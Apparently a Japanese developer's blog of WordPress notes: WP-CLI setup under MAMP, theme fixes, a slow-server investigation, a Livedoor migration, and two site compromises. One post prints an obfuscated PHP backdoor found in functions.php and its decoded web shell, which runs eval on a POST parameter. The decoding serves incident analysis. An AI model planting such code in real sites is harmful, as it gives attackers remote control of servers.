テーマの【JIN】とプラグインの【Table of content】がちょっと干渉していたので微調整

li要素の前に黄色(変更可能)のドットが入るので
TOCのクラスにだけ付けないように

div#ez-toc-container ul li:before {
	content: none;
}	

【WP-cli】いつかやってみたかったターミナルからWordPress構築【WP導入まで】※MAMP環境

いつか時間がある時にやってみたいなーと思いつつ
実際にやれてなかった。

結構ハマったりもしたので備忘録

wp-cli自体のインストール

$ curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
$ php wp-cli.phar --info
$ chmod +x wp-cli.phar
$ sudo mv wp-cli.phar /usr/local/bin/wp
$ wp cli version # ⇛ WP-CLI 2.0.1 

インストールしたい場所に移動。
ディレクトリの作成。
※MAMP環境

$ cd /Applications/MAMP/htdocs
$ mkdir wpcli_test
$ cd wpcli_test
$ wp core download --locale=ja # バージョンの指定なしで最新のものを引っ張ってくる

必要なファイルが揃ったのでMysql側を調整

$ /Applications/MAMP/Library/bin/mysql -u root -p
mysql> create database wp_cli;
Query OK, 1 row affected (0.00 sec)

mysql> 
mysql> GRANT ALL ON wp_cli.* to root@localhost IDENTIFIED BY 'root';
Query OK, 0 rows affected (0.00 sec)

mysql> 
mysql> 
mysql> exit

wp−configを生成

$ wp core config --dbname=wp_cli --dbuser=root --dbpass=root --dbhost=localhost --dbprefix=wordpress_
env: mysql: No such file or directory

怒られたのでPATHを通す。
Macにデフォルトで入っているものではなく、MAMPのものを使うので注意!

これがハマりポイントその1

$ vi ~/.bash_profile
### export PATH=$PATH:/Applications/MAMP/Library/bin を追記
### export PATH=$PATH:/usr/local/mysql/bin じゃないよ!
$ source ~/.bash_profile

$ wp core config --dbname=wp_cli --dbuser=root --dbpass=root --dbhost=localhost --dbprefix=wordpress_
Success: Generated 'wp-config.php' file.

これがハマりポイントその1終了

ということでwp core installへ
ここからハマりポイントその2

$ wp core install --url=http://localhost/wp_clitest --title=wpcli_test --admin_user=wordpress_user --admin_password=wordpress --admin_email=test@example.com
Error: データベース接続確立エラー. これは、`wp-config.php` ファイルのユーザー名とパスワードが正しくないか、あるいは `localhost` のデータベースサーバーに接続できないかのどちらかを意味します。ホスティングサービスのデータベースサーバーがダウンしているかもしれません。

MAMPの場合はソケットのパスを明記する必要がある
(本番環境ではポート番号だったりする模様です)

$ rm wp-config.php ###変更でも良かったんですが消しました
$ wp core config --dbname=wp_cli --dbuser=root --dbpass=root --dbhost=localhost:/Applications/MAMP/tmp/mysql/mysql.sock --dbprefix=wordpress_
Success: Generated 'wp-config.php' file.

  # ハマりポイントその2終了

$ wp core install --url=http://localhost/wpcli_test --title=wpcli_test --admin_user=wordpress_user --admin_password=wordpress --admin_email=test@example.com
unknown: fatal: file /etc/postfix/main.cf: parameter mail_owner: user postfix has same user ID as _postfix
Success: WordPress installed successfully.

以上
MAMP環境なのでパスワードとかはガバガバです。
真似しないでくださいね。

wp core
wp config

【WordPress】wp_insert_post,wp_update_postを実行すると、iframe,scriptタグが紛失する件

ワードプレスのサニタイズという機能が干渉してます。
セキュリティの都合上、外部からの投稿があった際に守ってくれる機能なのですが
知らなくてドハマリしました。

// 保存前に一旦サニタイズをオフに
remove_filter('content_save_pre', 'wp_filter_post_kses');
remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');

// 保存用のコードをここに


// セキュリティの都合上保存が終わったらすぐに戻す
add_filter('content_save_pre', 'wp_filter_post_kses');
add_filter('content_filtered_save_pre', 'wp_filter_post_kses');

参考:
https://wordpress.stackexchange.com/questions/100588/wp-cron-doesnt-save-iframe-or-object-in-post-body

ワードプレスのまっさらなテーマ(アンダースコアS)を基にテーマ作成

ワードプレスのテーマを自作するためのあれこれを書いていこうと思います。

ネットに落ちている小テーマでゴニョゴニョは結構やってきましたが
スクラッチは初めて。

ということで
アンダースコアSでテーマ名だけを決めてダウンロード。

wp-config.phpのデバッグをオンに

//define('WP_DEBUG', false);
define('WP_DEBUG', true);

各テンプレートの頭と末尾にComment合うとしてphpのファイル名を明記

<!--header.php-->
中略。。。
<!--/header.php-->

みたいな

ここからはCSSをガリガリ書いていく。

追記
FirefoxのCSS3Dビューを使おうと思ったら
数年前に廃止されてんのかww

残念っ

2018-07-30はここまで

iowaitがパンッパンでいろいろと遠回りしてしまった件

3ヶ月くらい前からサーバーが重いという報告が来ていて
その時はphp7にアプデしてだいぶ改善されて放置。
(確かLA10近くから3付近になったはず)

そのサーバーが最近またすんごく重くなっていて(LA20付近)
いろいろとハマったのでメモ

まずは
topコマンドで見てみるとiowaitが20%近くあって

ぱっと目についたのは
kblockd
jdb2/md2-8
flush-9:1,2

というプロセス(スクショはpidstat -d ですが)

PIDも低いし実行ユーザーrootだし
バックアップ系かな?(今思えばこれが壮大な罠)

iostat -xt 5

で%utilが常にhda,hdbともに100%近く。

ここでサーバー屋さんにお問い合わせ。
GMOさんの対応の速さ神やで。

しかし挙動としては正常らしい。

dd if=/dev/zero of=/tmp/hoge bs=1KB count=1024000 ; rm /tmp/hoge
dd if=/dev/zero of=/tmp/hoge bs=1MB count=1024 ; rm /tmp/hoge

で1G書き込むも全然問題なさそう。
さらに頭が_???_なわけです。

もういちど状況を整理しプロセスの
kblockdってもしやビットコイン系かな?などと迷走しましたw

lastやlastlogコマンドであやしい挙動がないか確認。

ここで固定IPからログインがあることが判明。
そのユーザーを渡してる方に質問するとISP固定回線とのこと。
ちょっと安心。

lastコマンドのrebootユーザーが300日(これが正常なのは知ってた)
その2行上にrootユーザーが still login
これをまたもやGMOさんにお問い合わせ

これはシリアルコンソール用のログインとのことでこれも正常。

ビットコイン系とか迷走してたクラッキングはなさそうだとして、
重い原因が結局わからん。

ここで怪しいと思っているプロセスのNICE値を上げる(優先順位は下がる)

しかし変化なし。ん?変化なし。。。
バックアップ系とかデフォルトプロセスの暴走だと
踏んでたのに前提が崩れたぞ。。。

とりあえずサーバーのバックアップを取って再起動。
しかし良くなるはずもなく。

状況を整理。

reniceしても状況が良くならなかったので
全体のNICE値を確認。

上記スクショの内容よりNICE値が低いものは
httpd,php,mysqlなどなど

ここで20ドメインほど入っているサーバーの各設定を見直す。

キャッシュ系プラグインの見直し。
Mysqlも一通り見てみる。
うーん問題なさそう。

ログの肥大化?
問題なさそう。

Apacheのアクセスログをオフに。
******************************
Pleskコアファイルをイジらないといけないよ
https://support.plesk.com/hc/en-us/articles/115000067345-How-to-disable-Apache-and-nginx-log-files-for-domain-domains
******************************

状況変わらず。

duコマンドやpleskの管理画面から肥大化しているフォルダがないかここで確認。
問題なし。

念の為wp-content/cache/のファイルの数を数えてみた。

するとサイトの一つのobjectフォルダ配下に240万のファイルが。。。
これっぽいということで
プラグインをオフにしたあとに、removeしました。
(通常の削除はタイムアウトしたし)
pleskのサイズ計算や、もっと上の階層からのduでは
ファイルの数が多すぎて計算結果が出ていなかった。

サーバーが重くなっていることもあってrmコマンドの完走に12時間ほどかかりましたw

結論:W3 Total Cache のObject cacheの設定には気をつけましょw

ということで開発案件をすすめますっ

ライブドアからワードプレスにインポートする手順

これまた自分用メモですが
設定の意図やおまかんな内容が多々含まれるので
検索から来た方は参考にしないでくださいw
作業は自己責任で。

【素材の準備】
ライブドアの管理画面からエクスポート
画像のURLリストを作成(リンク

【WPの準備】
ワードプレスを普通に構築
Movable Type のインポートを実行(サーバーが重いと中断する

中断がいやな場合はMAMPに構築して流し
wp_postsとwp_term_relationshipsをエクスポートして
インポート(しかしココもサーバーが重いと中断してしまうので工夫が必要

なお、文字コードのエラーが出た場合はutf8mb4」から「utf8」に変更する


※この辺はxmlrpc経由で1件1件投げるスクリプト
組んでも良いかもしれんけど、、、

そのあとプラグインのSearch Regexなどで微調整

【WPの各種設定】
i) パーマリンクを揃える
カスタム構造を/archives/%postname%.htmlに変更

functions.phpに下記内容を追記
記事投稿時にパーマリンクにランダム10桁の数字が付与されます

//パーマリンクをライブドア風に
function auto_post_slug( $slug, $post_ID, $post_status, $post_type ) {
    if ( preg_match( '/(%[0-9a-f]{2})+/', $slug ) ) {
    $slug = substr(str_shuffle('1234567890'), 0, 8);
  }
  return $slug;
}
add_filter( 'wp_unique_post_slug', 'auto_post_slug', 10, 4 );
//パーマリンクをライブドア風にここまで

ii)素材の配置とサムネイルの生成
wp-content/uploads/配下にディレクトリを作って設置
(このディレクトリ以外にしちゃうと後々再度引っ越しなったときに大変になる
どうしても無理な場合はメモったりちゃんと引き継いだりする!

そしてプラグインのAuto Post Thumbnail等でアイキャッチをあてがう
ただ、jpgをうまく取り込めないバグがあるので注意_2018/04/17時点
下記内容をfunctions.phpに追記

function split_combined_mimes_for_apt( $mime_types ) {
  foreach ( $mime_types as $regex =&amp;gt; $mime_type ) {
    if ( false !== strpos( $regex, '|' ) ) {
      $keys = explode( '|', $regex );
      foreach ( $keys as $key ) {
        $mime_types[ $key ] = $mime_type;
      }
    }
  }
  return $mime_types;
}
add_filter( 'mime_types', 'split_combined_mimes_for_apt' );

iii)categoryは対応がとれず、.htaccessでも上手くいかないでheader.phpに
スクリプトを書いていく

//リクエストを取得
$url = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
$host= 'http://example.example/cat/';
//飛ばしたい先に振り分ける
if (preg_match('/cat_/', $url)) {
header( "HTTP/1.1 301 Moved Permanently" ); 
if (preg_match('/cat_num4999/', $url)) {
header( "Location: $host飛ばしたい先のエンコードURL" ); 
 exit;}

 

 

WordPress4.8で記事の編集画面の『新規カテゴリーを追加』の仕様が変わった件

wordpress4.8以前は既に存在するカテゴリーを新規追加しようとしたら
自動的に既存のカテゴリが選択されていました。

どういうことかというと
既存のカテゴリを新規追加しようとしたら

Screen Shot 2017-07-03 at 21.31.47

Screen Shot 2017-07-03 at 21.31.56

となっていました。

大量のカテゴリがあるサイトでは特に有用な機能ですよね。
ブラウザでCtrl+F検索やカテゴリ欄をスクロールして
探すのめんどくさい(;´Д`)

http://www.nxworld.net/wordpress/wp-post-edit-filter-categories.html

ここを参考にfunctions.phpに埋め込んで終了です。

先人たちのコードに多謝!

クラッキング関連→コードを解読しましたよ〜と。


$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0iUHh0RFFxZnpZYWhtd0N2Wk51QmpMWHNNVWtJS0piSEVXT2dGeVZBU0dpUm5sVGRjcm9wZU5GU0JIREpreFViS1lDc0VHWHRmakl3cW5ocEF6Z1JsV1Z2ZW9UeW1hdUxkaU9yY1BaUU1OQjlZVVJ5R0N1TEtyV1NGcEIwdkhDTEpMMFRuV29yS3JXU0Z6MTA3cGFpS0FDTEtyV1NGcEIwOXBDcjB6b2k3RVdHWmdvYnlFSUViZ0N2aEkxdE5uMUxnejJFMXgyUzVnM24wcWtwRnoxMFFBT1NpTWFpMFYzMEdDS1RmVWE4dnhJdFFuS1RGcldUa3JDdlFWWTBBRWRUWHgzTFFnMjR2eEl0UW5LVEZyV1RrckN2UU1ZMEFDV2lLQWx5aEkwcmVUZXdkZzN5ZElteTlObXlkeDJiaXgyd2RBSDBBQ0hpN0JIWnpDbXRvRUlMMWNLNHZwS0dzZ0s1aXgzTER4SzFzcktUUWMyOVBwZndHQ3ZoenBhVDRVSUhaQU93R0N2aHZwQ3l2SkgwQUpIMEFOazQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

//オリジナルコードここまで

(本当のオリジナルコードは1行になってましたが、セミコロンで改行してます)
一つ一つ分解していきたいと思います。
3行目,4行目,5行目の頻出である$O00OO0を詳細出力

echo "<pre>";
var_dump($O00OO0);
echo "</pre>";
//結果string(42) "n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j"
//ランダムな文字列から意味のある文字列を生成?
echo "<pre>";
var_dump($O00O0O);
echo "</pre>";
//結果string(5) "strtr"

echo "<pre>";
var_dump($O0OO00);
echo "</pre>";
//結果string(13) "base64_decode"

echo "<pre>";
var_dump($OO0O00);
echo "</pre>";
//string(6) "substr"

echo "<pre>";
var_dump($OO0000);
echo "</pre>";
//結果string(2) "52"

つまりデコードするとランダム文字列ができる。
それを並び替えして、strstr,base64_decode_substr_,52という文字列ができるんですね。

そんなこんなで一個一個辿って行くとこういうコードが出てきましたよ〜と。
functions.phpにこんなコードが埋め込まれてたとは、、、
fu◯kyouには笑ったw

<?php
$fukq = @$_GET['fukq']; 
if($fukq == 't'){echo(@eval($_POST['fuckyou4321']));
	exit;
}
echo apiRequest();
function apiRequest(){
	if(@$_GET['op'] == 'check')
		{
		 return "connectjbmoveisok";
		 exit();
	    }
}

またもやクラッキング関連。

別件でまたクラッキングw

友人にブログシステムを用意してくれ〜と言われて用意したWPがあるのですが、
それの調子が悪いとのことでちょっと見てみました。

前回のはキャッシュ仕込み系で、今回のはphpからのファイル作成系。

前回の件で、人通り告知をしていたので
xmlrpcのファイルをアクセス禁止にしていたのですが、
今回のはまた別ルートでした。
うーんどこルートだろ。。。

初期ユーザーの名前とパスが甘かったぽい。
まさかの手動ログインかな~。

そもそもお金の単位がRMなのでマレーシアぽい。
うーん、晒してやりたい。

WPの引っ越しでwp-adminにアクセスできない件

サーバーのお引越しをしてすぐ、sqlのインポートなどは上手くいき、
あとは管理画面にログインするのみ。
しかしブラウザのメッセージは500エラー

アドレスバーは

ドメイン/wp-admin/upgrade.php?_wp_http_referer=%2Fwp-admin%2F

該当時間のlogを見てみると
mod_fcgid: stderr: PHP Fatal error: Allowed memory size of 41943040 bytes exhausted (tried to allocate 30720 bytes)

40Mもメモリ食うんすか!!と思いながらMemory Limitを64Mにあげて解決。

データーベースのアップデートを最初に求められました。うーん、怖かったwww

【悲劇】 if(!isset($GLOBALS[“\x61\156\x75\156\x61”]))とかいう謎のコードが挿入される

古いバージョンのままだいぶ放置しているWPを覗くと表示が崩れまくり。

ちょっと調査したところプラグイン真っ白、顔面真っ青になりました。
それで調べていると

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"]))

から続く長いコードが挿入される。
にわか目にも何か変換されているのがわかったのでとりあえず
phpOnlineDecode

に投げてみること


php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);

ということで追跡調査と、対応策を今後書いていきたい。

SSHでつなげてタイムスタンプを見てみたが、そのまま。どういう仕組みで書き換え(挿入)されたのか。うーん、わからん。怪しいw

アウトプットしたいことがたくさんあるんだけどね
結局こういう新しいことの対策を取らねばならぬ、ぐぬぬ。